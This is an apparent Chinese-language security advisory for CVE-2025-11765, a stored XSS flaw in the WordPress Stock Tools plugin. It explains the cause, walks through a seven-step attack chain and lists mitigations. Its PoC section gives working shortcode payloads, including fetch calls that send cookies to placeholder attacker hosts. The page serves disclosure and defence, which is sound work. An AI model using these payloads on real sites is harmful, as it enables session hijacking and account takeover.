IPBUF安全漏洞报告
English
CVE-2025-11765 CVSS 6.4 中危

CVE-2025-11765 WordPress Stock Tools插件存储型XSS漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-11765
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WordPress Stock Tools插件

相关标签

CVE-2025-11765存储型XSSWordPress插件漏洞Stock Tools短代码注入跨站脚本Authenticated XSSWordPress安全

漏洞概述

CVE-2025-11765是WordPress Stock Tools插件中的一个存储型跨站脚本(Stored XSS)漏洞。该插件是一款用于在WordPress中管理库存的工具,其1.1及以下所有版本存在严重的安全缺陷。漏洞源于shortcode属性image_height和image_width的输入验证不足,攻击者可以在这些参数中注入恶意JavaScript代码。由于缺乏适当的输出转义,注入的脚本代码会被永久存储在数据库中。当其他用户访问包含恶意代码的页面时,攻击脚本会自动执行,可能导致会话劫持、敏感信息窃取或管理员权限滥用等严重后果。攻击者只需拥有贡献者(Contributor)级别或更高的WordPress账户权限即可实施攻击,这大大降低了攻击门槛。该漏洞CVSS评分为6.4,属于中危级别,但考虑到其存储型特性和低权限要求,仍需尽快修复。

技术细节

该漏洞的根本原因在于Stock Tools插件对用户输入的image_height和image_width短代码属性缺乏充分的输入清理(sanitization)和输出转义(output escaping)。在stock-tools.php第67行附近的代码中,插件直接使用用户提供的参数值而未进行安全过滤。攻击者可以通过WordPress短代码机制注入类似payload:当在页面或文章中插入带有恶意脚本的短代码时,如[stock_tools image_height='100 onerror=alert(1)'],恶意代码会被存储到WordPress数据库中。由于插件在输出时未对属性值进行HTML实体转义,浏览器会将这些内容作为HTML解析,从而执行注入的JavaScript代码。存储型XSS的危害在于攻击只需一次即可影响所有访问该页面的用户,包括管理员。攻击者可能利用此漏洞窃取Cookie、会话令牌,或在管理员访问时执行更危险的操作如创建新管理员账户。

攻击链分析

STEP 1
1.侦察阶段
攻击者识别目标网站使用的WordPress版本及是否安装Stock Tools插件(版本<=1.1),通过查看页面源代码或使用Wappalyzer等工具获取信息
STEP 2
2.权限获取
攻击者获取WordPress账户,至少需要Contributor(贡献者)级别权限。可以通过社会工程学攻击获取凭证,或利用其他漏洞获取账户
STEP 3
3.恶意Payload构造
攻击者构造包含恶意JavaScript代码的XSS Payload,利用image_height或image_width短代码属性注入脚本,如<img src=x onerror=alert(document.domain)>
STEP 4
4.漏洞利用
通过WordPress编辑器(古腾堡区块编辑器或经典编辑器)在页面/文章中插入带有恶意Payload的短代码[stock_tools image_height='注入代码']
STEP 5
5.数据持久化
恶意代码随页面内容保存到WordPress数据库中,由于是存储型XSS,攻击代码获得持久化存在,每次页面加载都会执行
STEP 6
6.受害者触发
任何访问该页面的用户(编辑、订阅者、管理员等)都会触发恶意脚本执行,攻击者可以窃取Cookie、会话令牌或进行进一步权限提升
STEP 7
7.会话劫持/数据窃取
攻击者利用窃取的Cookie冒充合法用户,如果受害者是管理员,可进一步创建后门账户或修改网站内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- WordPress Stock Tools Plugin XSS PoC --> <!-- Author: Wordfence Security Team --> <!-- CVE: CVE-2025-11765 --> <!-- PoC 1: Basic XSS via image_height attribute --> [stock_tools image_height='100" onerror="alert(document.cookie)" x="'] <!-- PoC 2: XSS via image_width attribute --> [stock_tools image_width='200'><script>alert('XSS')</script><x y='] <!-- PoC 3: Combined attributes --> [stock_tools image_height='100' image_width='200" onload="fetch('https://attacker.com/steal?c='+document.cookie)" x="'] <!-- PoC 4: Cookie stealing payload --> [stock_tools image_height='100'><img src=x onerror="fetch('https://malicious-site.com/log?cookie='+btoa(document.cookie))">] <!-- Usage: Insert any of the above shortcodes into a WordPress post/page --> <!-- The XSS will execute when any user views the page --> <!-- Example HTML output (vulnerable): --> <!-- <div class="stock-tools" style="height:100" onerror="alert(document.cookie)" x=""></div> -->

影响范围

WordPress Stock Tools插件 <= 1.1(所有版本)

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1)禁用或删除Stock Tools插件;2)限制用户的Contributor及以上角色权限,仅授予可信用户;3)使用WordPress安全插件启用输入过滤和XSS防护规则;4)通过Web应用防火墙(WAF)规则拦截包含常见XSS Payload特征的请求;5)增加内容安全策略(CSP)响应头以缓解客户端脚本执行;6)监控网站日志关注异常的短代码使用行为。建议尽快联系插件开发者获取安全更新或评估替代插件方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表